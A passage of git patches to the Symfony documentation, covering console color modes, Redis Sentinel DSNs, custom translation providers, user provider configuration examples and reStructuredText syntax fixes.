 console.rst | 15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index 390ffd3b81e..be8d593c999 100644
--- a/console.rst
+++ b/console.rst
@@ -575,8 +575,8 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     and extend the normal ``\PHPUnit\Framework\TestCase``.
 
 When testing your commands, it could be useful to understand how your command
-reacts on different settings like the width and the height of the terminal.
-You have access to such information thanks to the
+reacts on different settings like the width and the height of the terminal, or
+even the color mode being used. You have access to such information thanks to the
 :class:`Symfony\\Component\\Console\\Terminal` class:
 
     use Symfony\Component\Console\Terminal;
@@ -589,6 +589,17 @@ You have access to such information thanks to the
     // gets the number of columns available
     $width = $terminal->getWidth();
 
+    // gets the color mode
+    $colorMode = $terminal->getColorMode();
+
+    // changes the color mode
+    $colorMode = $terminal->setColorMode(AnsiColorMode::Ansi24);
+
+.. versionadded:: 6.2
+
+    The support for setting and getting the current color mode was introduced
+    in Symfony 6.2.
+
 Logging Command Errors
 ----------------------
 

From 79da0629e6ea7fdb1b747e3b55da4f1f10a6a50e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Sep 2023 11:02:26 +0200
Subject: [PATCH 5204/7107] Remove a versionadded directive

---
 console.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/console.rst b/console.rst
index 86f05625dd6..2aafad3f602 100644
--- a/console.rst
+++ b/console.rst
@@ -582,11 +582,6 @@ even the color mode being used. You have access to such information thanks to th
     // changes the color mode
     $colorMode = $terminal->setColorMode(AnsiColorMode::Ansi24);
 
-.. versionadded:: 6.2
-
-    The support for setting and getting the current color mode was introduced
-    in Symfony 6.2.
-
 Logging Command Errors
 ----------------------
 

From aa1981093ebdf050b87b637d9e216441733a4e65 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 22 Sep 2023 11:45:35 +0200
Subject: [PATCH 5205/7107] [Messenger] Add support for multiple Redis Sentinel
 hosts

---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index bac7254ed59..a70dcfb45d9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1565,6 +1565,8 @@ The Redis transport DSN may looks like this:
     MESSENGER_TRANSPORT_DSN=redis://host-01:6379,redis://host-02:6379,redis://host-03:6379,redis://host-04:6379
     # Unix Socket Example
     MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock
+    # Multiple Redis Sentinel Hosts Example
+    MESSENGER_TRANSPORT_DSN=redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&sentinel_master=db
 
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
@@ -1616,6 +1618,10 @@ sentinel_master          String, if null or empty Sentinel      null
     The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
     ``sentinel_master`` options were introduced in Symfony 6.1.
 
+.. versionadded:: 6.4
+
+    Support for the multiple redis sentinel hosts DNS was introduced in Symfony 6.4.
+
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same

From f316bdc746cdb9317c0c150b9604eb4951e6b027 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 22 Sep 2023 11:02:14 +0200
Subject: [PATCH 5206/7107] Use Doctor RST 1.51.0

---
 .doctor-rst.yaml                 | 2 +-
 .github/workflows/ci.yaml        | 2 +-
 http_client.rst                  | 2 +-
 validation/custom_constraint.rst | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index dfb64c1ae8a..c307c959410 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -16,6 +16,7 @@ rules:
     ensure_exactly_one_space_between_link_definition_and_link: ~
     ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
+    ensure_php_reference_syntax: ~
     extend_abstract_controller: ~
     extension_xlf_instead_of_xliff: ~
     forbidden_directives:
@@ -94,7 +95,6 @@ whitelist:
         - 'The bin/console Command'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
         - '.. versionadded:: 1.9.0' # Encore
-        - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
         - '.. versionadded:: 5.1' # Private Services
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 44e17393aba..a7490527092 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.49.0
+                uses: docker://oskarstark/doctor-rst:1.51.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/http_client.rst b/http_client.rst
index 62fec487881..353f2024491 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1358,7 +1358,7 @@ installed in your application::
     // this won't hit the network if the resource is already in the cache
     $response = $client->request('GET', 'https://example.com/cacheable-resource');
 
-:class:`Symfony\\Component\\HttpClient\\CachingHttpClient`` accepts a third argument
+:class:`Symfony\\Component\\HttpClient\\CachingHttpClient` accepts a third argument
 to set the options of the :class:`Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache`.
 
 Consuming Server-Sent Events
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index b3909515fa3..57caa12a1e6 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -622,7 +622,7 @@ A class constraint validator must be applied to the class itself:
 Testing Custom Constraints
 --------------------------
 
-Use the :class:`Symfony\\Component\\Validator\\Test\\ConstraintValidatorTestCase``
+Use the :class:`Symfony\\Component\\Validator\\Test\\ConstraintValidatorTestCase`
 class to simplify writing unit tests for your custom constraints::
 
     // tests/Validator/ContainsAlphanumericValidatorTest.php

From 04cd09c27ad0234e404c9c4ebbd7194f988d8313 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Sep 2023 13:35:43 +0200
Subject: [PATCH 5207/7107] Fix some wrong references

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index bac7254ed59..547af43b6df 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1925,7 +1925,7 @@ Once handled, the handler will return a
 :class:`Symfony\\Component\\Console\\Messenger\\RunCommandContext` which
 contains many useful information such as the exit code or the output of the
 process. You can refer to the page dedicated on
-:doc:`handler results </messenger/handler_results>` for more information.
+:ref:`handler results <messenger-getting-handler-results>` for more information.
 
 .. versionadded:: 6.4
 
@@ -1963,7 +1963,7 @@ Once handled, the handler will return a
 :class:`Symfony\\Component\\Process\\Messenger\\RunProcessContext` which
 contains many useful information such as the exit code or the output of the
 process. You can refer to the page dedicated on
-:doc:`handler results </messenger/handler_results>` for more information.
+:ref:`handler results <messenger-getting-handler-results>` for more information.
 
 .. versionadded:: 6.4
 

From 9ea24d97efe40c40662b5f413e76782102df3bca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Sep 2023 15:55:11 +0200
Subject: [PATCH 5208/7107] Tweak

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 3aa734cda4e..4311d54e5fb 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1620,7 +1620,7 @@ sentinel_master          String, if null or empty Sentinel      null
 
 .. versionadded:: 6.4
 
-    Support for the multiple redis sentinel hosts DNS was introduced in Symfony 6.4.
+    Support for the multiple Redis Sentinel hosts DNS was introduced in Symfony 6.4.
 
 .. caution::
 

From e83e14f24e6c52d7ae421793402bbbd49b441335 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ond=C5=99ej=20Machulda?= <ondrej.machulda@gmail.com>
Date: Sun, 24 Sep 2023 00:25:57 +0200
Subject: [PATCH 5209/7107] Fix wrong attribute name

The attribute is in fact called `HasNamedArgument*s*`

https://github.com/symfony/validator/blob/6.3/Attribute/HasNamedArguments.php
---
 reference/attributes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index e7507949e97..d55baa17f24 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -110,7 +110,7 @@ Validator
 Each validation constraint comes with a PHP attribute. See
 :doc:`/reference/constraints` for a full list of validation constraints.
 
-* :doc:`HasNamedArgument </validation/custom_constraint>`
+* :doc:`HasNamedArguments </validation/custom_constraint>`
 
 .. _`AsEntityAutocompleteField`: https://symfony.com/bundles/ux-autocomplete/current/index.html#usage-in-a-form-with-ajax
 .. _`AsLiveComponent`: https://symfony.com/bundles/ux-live-component/current/index.html

From 14544f8f1500ad1bec7c3bd2e6d2664a8b85676b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Mon, 25 Sep 2023 09:34:06 +0200
Subject: [PATCH 5210/7107] [Translation] Add information about custom
 providers

---
 reference/dic_tags.rst | 44 ++++++++++++++++++++++++++++++++++++++++++
 translation.rst        | 11 +++++++++++
 2 files changed, 55 insertions(+)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 5b035d6f89b..630829c747a 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1228,6 +1228,50 @@ This is the name that's used to determine which dumper should be used.
         $container->register(JsonFileDumper::class)
             ->addTag('translation.dumper', ['alias' => 'json']);
 
+.. _reference-dic-tags-translation-provider-factory:
+
+translation.provider_factory
+----------------------------
+
+**Purpose**: To register a factory creating custom Translation Provider
+
+Register your factory as a service and tag it with ``translation.provider_factory``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        services:
+            App\Translation\CustomProviderFactory:
+                tags:
+                    - { name: translation.provider_factory }
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Translation\CustomProviderFactory">
+                    <tag name="translation.provider_factory"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        use App\Translation\CustomProviderFactory;
+
+        $container
+            ->register(CustomProviderFactory::class)
+            ->addTag('translation.provider_factory')
+        ;
+
+For more details, see :ref:`translation providers <translation-providers>`.
+
 .. _reference-dic-tags-twig-extension:
 
 twig.extension
diff --git a/translation.rst b/translation.rst
index ffaca50044d..7423695dc07 100644
--- a/translation.rst
+++ b/translation.rst
@@ -746,6 +746,17 @@ now use the following commands to push (upload) and pull (download) translations
     # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
     $ php bin/console translation:pull --help
 
+Creating custom Provider
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you wish to create new Translation Provider, you need to create two classes.
+First one must implement :class:`Symfony\\Component\\Translation\\Provider\\ProviderInterface`.
+Second needs to be a factory, that will create instances of the first class. It must implement
+:class:`Symfony\\Component\\Translation\\Provider\\ProviderFactoryInterface`.
+You may extend :class:`Symfony\\Component\\Translation\\Provider\\AbstractProviderFactory`
+to simplify its creation. Additionally you need to tag the factory service with
+:ref:`translation.provider_factory <reference-dic-tags-translation-provider-factory>`.
+
 .. _translation-locale:
 
 Handling the User's Locale

From aa45ec77dbc5e43c915aa70b704b89f5fd0bdcd7 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 25 Sep 2023 11:00:25 +0200
Subject: [PATCH 5211/7107] [UserProvider] Add missing configuration examples

---
 security/user_providers.rst | 270 ++++++++++++++++++++++++++++--------
 1 file changed, 209 insertions(+), 61 deletions(-)

diff --git a/security/user_providers.rst b/security/user_providers.rst
index ba7b169f0c9..cab94b76af8 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -77,24 +77,15 @@ the user provider uses :doc:`Doctrine </doctrine>` to retrieve them.
         use App\Entity\User;
         use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'providers' => [
-                'users' => [
-                    'entity' => [
-                        // the class of the entity that represents users
-                        'class'    => User::class,
-                        // the property to query by - e.g. email, username, etc
-                        'property' => 'email',
-
-                        // optional: if you're using multiple Doctrine entity
-                        // managers, this option defines which one to use
-                        //'manager_name' => 'customer',
-                    ],
-                ],
-            ],
-
+        return static function (SecurityConfig $security): void {
             // ...
-        ]);
+
+            $security->provider('app_user_provider')
+                ->entity()
+                    ->class(User::class)
+                    ->property('email')
+            ;
+        };
 
 .. _authenticating-someone-with-a-custom-entity-provider:
 
@@ -185,18 +176,16 @@ To finish this, remove the ``property`` key from the user provider in
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'providers' => [
-                'users' => [
-                    'entity' => [
-                        'class' => User::class,
-                    ],
-                ],
-            ],
-
+        return static function (SecurityConfig $security): void {
             // ...
-        ]);
+
+            $security->provider('app_user_provider')
+                ->entity()
+                    ->class(User::class)
+            ;
+        };
 
 Now, whenever Symfony uses the user provider, the ``loadUserByIdentifier()``
 method on your ``UserRepository`` will be called.
@@ -217,18 +206,67 @@ including their passwords. Make sure the passwords are hashed properly. See
 After setting up hashing, you can configure all the user information in
 ``security.yaml``:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/security.yaml
-    security:
-        providers:
-            backend_users:
-                memory:
-                    users:
-                        john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
-                        jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
+    .. code-block:: yaml
 
-        # ...
+        # config/packages/security.yaml
+        security:
+            providers:
+                backend_users:
+                    memory:
+                        users:
+                            john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
+                            jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+                       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                       xmlns:srv="http://symfony.com/schema/dic/services"
+                       xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <provider name="app_user_provider2">
+                    <memory>
+                        <user identifier="john_admin" password="$2y$13$jxGxc ... IuqDju" roles="ROLE_ADMIN"/>
+                        <user identifier="jane_admin" password="$2y$13$PFi1I ... rGwXCZ" roles="ROLE_ADMIN, ROLE_SUPER_ADMIN"/>
+                    </memory>
+                </provider>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security): void {
+            // ...
+
+            $memoryProvider = $security->provider('app_user_provider')->memory();
+            $memoryProvider
+                ->user('john_admin')
+                    ->password('$2y$13$jxGxc ... IuqDju')
+                    ->roles(['ROLE_ADMIN'])
+            ;
+
+            $memoryProvider
+                ->user('jane_admin')
+                ->password('$2y$13$PFi1I ... rGwXCZ')
+                ->roles(['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'])
+            ;
+        };
 
 .. caution::
 
@@ -246,27 +284,99 @@ providers are configured is important because Symfony will look for users
 starting from the first provider and will keep looking for in the other
 providers until the user is found:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            providers:
+                backend_users:
+                    ldap:
+                        # ...
+
+                legacy_users:
+                    entity:
+                        # ...
 
-    # config/packages/security.yaml
-    security:
-        # ...
-        providers:
-            backend_users:
-                ldap:
-                    # ...
+                users:
+                    entity:
+                        # ...
 
-            legacy_users:
-                entity:
-                    # ...
+                all_users:
+                    chain:
+                        providers: ['legacy_users', 'users', 'backend_users']
 
-            users:
-                entity:
-                    # ...
+    .. code-block:: xml
 
-            all_users:
-                chain:
-                    providers: ['legacy_users', 'users', 'backend_users']
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+                       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                       xmlns:srv="http://symfony.com/schema/dic/services"
+                       xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <provider name="backend_users">
+                    <ldap service="..." base-dn="..."/>
+                </provider>
+
+                <provider name="legacy_users">
+                    <entity>
+                        <!-- ... -->
+                    </entity>
+                </provider>
+
+                <provider name="users">
+                    <entity>
+                        <!-- ... -->
+                    </entity>
+                </provider>
+
+                <provider name="all_users">
+                    <chain>
+                        <provider>backend_users</provider>
+                        <provider>legacy_users</provider>
+                        <provider>users</provider>
+                    </chain>
+                </provider>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security): void {
+            // ...
+
+            $backendProvider = $security->provider('backend_users')
+                ->ldap()
+                // ...
+            ;
+
+            $legacyProvider = $security->provider('legacy_users')
+                ->entity()
+                // ...
+            ;
+
+            $userProvider = $security->provider('users')
+                ->entity()
+                // ...
+            ;
+
+            $allProviders = $security->provider('all_users')->chain()
+                ->providers([$backendProvider, $legacyProvider, $userProvider])
+            ;
+        };
 
 .. _security-custom-user-provider:
 
@@ -362,14 +472,52 @@ Most of the work is already done! Read the comments in the code and update the
 TODO sections to finish the user provider. When you're done, tell Symfony about
 the user provider by adding it in ``security.yaml``:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            providers:
+                # the name of your user provider can be anything
+                your_custom_user_provider:
+                    id: App\Security\UserProvider
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+                       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                       xmlns:srv="http://symfony.com/schema/dic/services"
+                       xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <provider name="your_custom_user_provider" id="App\Security\UserProvider">
+                    <!-- ... -->
+                </provider>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\UserProvider;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security): void {
+            // ...
 
-    # config/packages/security.yaml
-    security:
-        providers:
-            # the name of your user provider can be anything
-            your_custom_user_provider:
-                id: App\Security\UserProvider
+             $customProvider = $security->provider('your_custom_user_provider')
+                ->id(UserProvider::class)
+                // ...
+            ;
+        };
 
 Lastly, update the ``config/packages/security.yaml`` file to set the
 ``provider`` key to ``your_custom_user_provider`` in all the firewalls which

From dfea1d74e6357a0eaebb03f02b30db2e7582791c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Mon, 25 Sep 2023 12:39:54 +0200
Subject: [PATCH 5212/7107] [Contributing] Document :ref: links

---
 contributing/documentation/format.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 33798d48da3..a9d8aef7434 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -190,6 +190,28 @@ If you want to modify that title, use this alternative syntax:
 
         :doc:`environments`
 
+It is also possible to link to a specific section, instead of a whole page.
+First, define a target above section you will link to:
+
+.. code-block:: rst
+
+    # /service_container/autowiring.rst
+
+    # Define the target
+    .. _autowiring-calls:
+
+    Autowiring other Methods (e.g. Setters and Public Typed Properties)
+    -------------------------------------------------------------------
+    [section content ...]
+
+Then create reference to link to that section from another file:
+
+.. code-block:: rst
+
+    # /reference/attributes.rst
+
+    :ref:`Required <autowiring-calls>`
+
 **Links to the API** follow a different syntax, where you must specify the type
 of the linked resource (``class`` or ``method``):
 

From 162d5c26f11b54ab11f4f81cc49489d5633c8f1c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Sep 2023 17:23:47 +0200
Subject: [PATCH 5213/7107] Tweaks

---
 contributing/documentation/format.rst | 32 +++++++++++++++++----------
 1 file changed, 20 insertions(+), 12 deletions(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index a9d8aef7434..1ff8b8e56c1 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -110,18 +110,25 @@ The current list of supported formats are the following:
 ===================  ==============================================================================
 Markup Format        Use It to Display
 ===================  ==============================================================================
-``html``             HTML
-``xml``              XML
-``php``              PHP
-``yaml``             YAML
-``twig``             Pure Twig markup
-``html+twig``        Twig markup blended with HTML
+``caddy``            Caddy web server configuration
+``env``              Bash files (like ``.env`` files)
 ``html+php``         PHP code blended with HTML
+``html+twig``        Twig markup blended with HTML
+``html``             HTML
 ``ini``              INI
 ``php-annotations``  PHP Annotations
 ``php-attributes``   PHP Attributes
-``php-symfony``      PHP code example when using the Symfony framework
 ``php-standalone``   PHP code to be used in any PHP application using standalone Symfony components
+``php-symfony``      PHP code example when using the Symfony framework
+``php``              PHP
+``rst``              reStructuredText markup
+``terminal``         Renders the contents as a console terminal (use it to show which commands to run)
+``twig``             Pure Twig markup
+``varnish3``         Varnish Cache 3 configuration
+``varnish4``         Varnish Cache 4 configuration
+``vcl``              Varnish Configuration Language
+``xml``              XML
+``yaml``             YAML
 ===================  ==============================================================================
 
 Displaying Tabs
@@ -190,21 +197,22 @@ If you want to modify that title, use this alternative syntax:
 
         :doc:`environments`
 
-It is also possible to link to a specific section, instead of a whole page.
-First, define a target above section you will link to:
+**Links to specific page sections** follow a different syntax. First, define a
+target above section you will link to (syntax: ``.. _`` + target name + ``:``):
 
 .. code-block:: rst
 
     # /service_container/autowiring.rst
 
-    # Define the target
+    # define the target
     .. _autowiring-calls:
 
     Autowiring other Methods (e.g. Setters and Public Typed Properties)
     -------------------------------------------------------------------
-    [section content ...]
 
-Then create reference to link to that section from another file:
+    // section content ...
+
+Then, use the ``:ref::`` directive to link to that section from another file:
 
 .. code-block:: rst
 

From 6b2e218f88cad23fdb1036ca77a912781df9d25a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Sep 2023 17:54:42 +0200
Subject: [PATCH 5214/7107] Tweaks

---
 reference/dic_tags.rst |  7 +++----
 translation.rst        | 20 +++++++++++---------
 2 files changed, 14 insertions(+), 13 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 630829c747a..96b4d2d77fa 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1233,9 +1233,10 @@ This is the name that's used to determine which dumper should be used.
 translation.provider_factory
 ----------------------------
 
-**Purpose**: To register a factory creating custom Translation Provider
+**Purpose**: to register a factory related to custom translation providers
 
-Register your factory as a service and tag it with ``translation.provider_factory``:
+When creating custom :ref:`translation providers <translation-providers>`, you
+must register your factory as a service and tag it with ``translation.provider_factory``:
 
 .. configuration-block::
 
@@ -1270,8 +1271,6 @@ Register your factory as a service and tag it with ``translation.provider_factor
             ->addTag('translation.provider_factory')
         ;
 
-For more details, see :ref:`translation providers <translation-providers>`.
-
 .. _reference-dic-tags-twig-extension:
 
 twig.extension
diff --git a/translation.rst b/translation.rst
index 7423695dc07..db44c43e568 100644
--- a/translation.rst
+++ b/translation.rst
@@ -746,16 +746,18 @@ now use the following commands to push (upload) and pull (download) translations
     # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
     $ php bin/console translation:pull --help
 
-Creating custom Provider
-~~~~~~~~~~~~~~~~~~~~~~~~
+Creating Custom Providers
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In addition to using Symfony's built-in translation providers, you can create
+your own providers. To do so, you need to create two classes:
+
+#. The first class must implement :class:`Symfony\\Component\\Translation\\Provider\\ProviderInterface`;
+#. The second class needs to be a factory which will create instances of the first class. It must implement
+:class:`Symfony\\Component\\Translation\\Provider\\ProviderFactoryInterface` (you can extend :class:`Symfony\\Component\\Translation\\Provider\\AbstractProviderFactory` to simplify its creation).
 
-If you wish to create new Translation Provider, you need to create two classes.
-First one must implement :class:`Symfony\\Component\\Translation\\Provider\\ProviderInterface`.
-Second needs to be a factory, that will create instances of the first class. It must implement
-:class:`Symfony\\Component\\Translation\\Provider\\ProviderFactoryInterface`.
-You may extend :class:`Symfony\\Component\\Translation\\Provider\\AbstractProviderFactory`
-to simplify its creation. Additionally you need to tag the factory service with
-:ref:`translation.provider_factory <reference-dic-tags-translation-provider-factory>`.
+After creating these two classes, you need to register your factory as a service
+and tag it with :ref:`translation.provider_factory <reference-dic-tags-translation-provider-factory>`.
 
 .. _translation-locale:
 

From 6e9eef5ae83b107651fc18af40b5537171ad7d87 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Sep 2023 09:59:57 +0200
Subject: [PATCH 5215/7107] Minor RST syntax fix

---
 deployment/proxies.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index b821145e85a..416039ee040 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -139,14 +139,14 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
 #. Once you've guaranteed that traffic will only come from your trusted reverse
    proxies, configure Symfony to *always* trust incoming request:
 
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            # trust *all* requests (the 'REMOTE_ADDR' string is replaced at
-            # run time by $_SERVER['REMOTE_ADDR'])
-            trusted_proxies: '127.0.0.1,REMOTE_ADDR'
+   .. code-block:: yaml
+
+       # config/packages/framework.yaml
+       framework:
+           # ...
+           # trust *all* requests (the 'REMOTE_ADDR' string is replaced at
+           # run time by $_SERVER['REMOTE_ADDR'])
+           trusted_proxies: '127.0.0.1,REMOTE_ADDR'
 
 That's it! It's critical that you prevent traffic from all non-trusted sources.
 If you allow outside traffic, they could "spoof" their true IP address and

From e499df3cebaf60b916ed855f49354e8153d8036f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Sep 2023 10:00:38 +0200
Subject: [PATCH 5216/7107] Minor RST syntax fix

---
 reference/map.rst.inc | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/reference/map.rst.inc b/reference/map.rst.inc
index f395ea6b90d..22788c2d509 100644
--- a/reference/map.rst.inc
+++ b/reference/map.rst.inc
@@ -6,13 +6,13 @@ Ever wondered what configuration options you have available to you in
 configuration is broken down by the key (e.g. ``framework``) that defines
 each possible section of your Symfony configuration.
 
-  * :doc:`framework </reference/configuration/framework>`
-  * :doc:`doctrine </reference/configuration/doctrine>`
-  * :doc:`security </reference/configuration/security>`
-  * :doc:`twig </reference/configuration/twig>`
-  * :doc:`monolog </reference/configuration/monolog>`
-  * :doc:`web_profiler </reference/configuration/web_profiler>`
-  * :doc:`debug </reference/configuration/debug>`
+* :doc:`framework </reference/configuration/framework>`
+* :doc:`doctrine </reference/configuration/doctrine>`
+* :doc:`security </reference/configuration/security>`
+* :doc:`twig </reference/configuration/twig>`
+* :doc:`monolog </reference/configuration/monolog>`
+* :doc:`web_profiler </reference/configuration/web_profiler>`
+* :doc:`debug </reference/configuration/debug>`
 
 Forms and Validation
 --------------------

From 8e1281f67a99626a207502c60917c3626e282ec1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Sep 2023 10:12:45 +0200
Subject: [PATCH 5217/7107] Fix a minor RST syntax issue

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 95693a6de43..4387125686f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -236,7 +236,7 @@ The **default value** is:
         $request = Request::createFromGlobals();
         // ...
 
- .. _configuration-framework-http_method_override:
+.. _configuration-framework-http_method_override:
 
 trust_x_sendfile_type_header
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

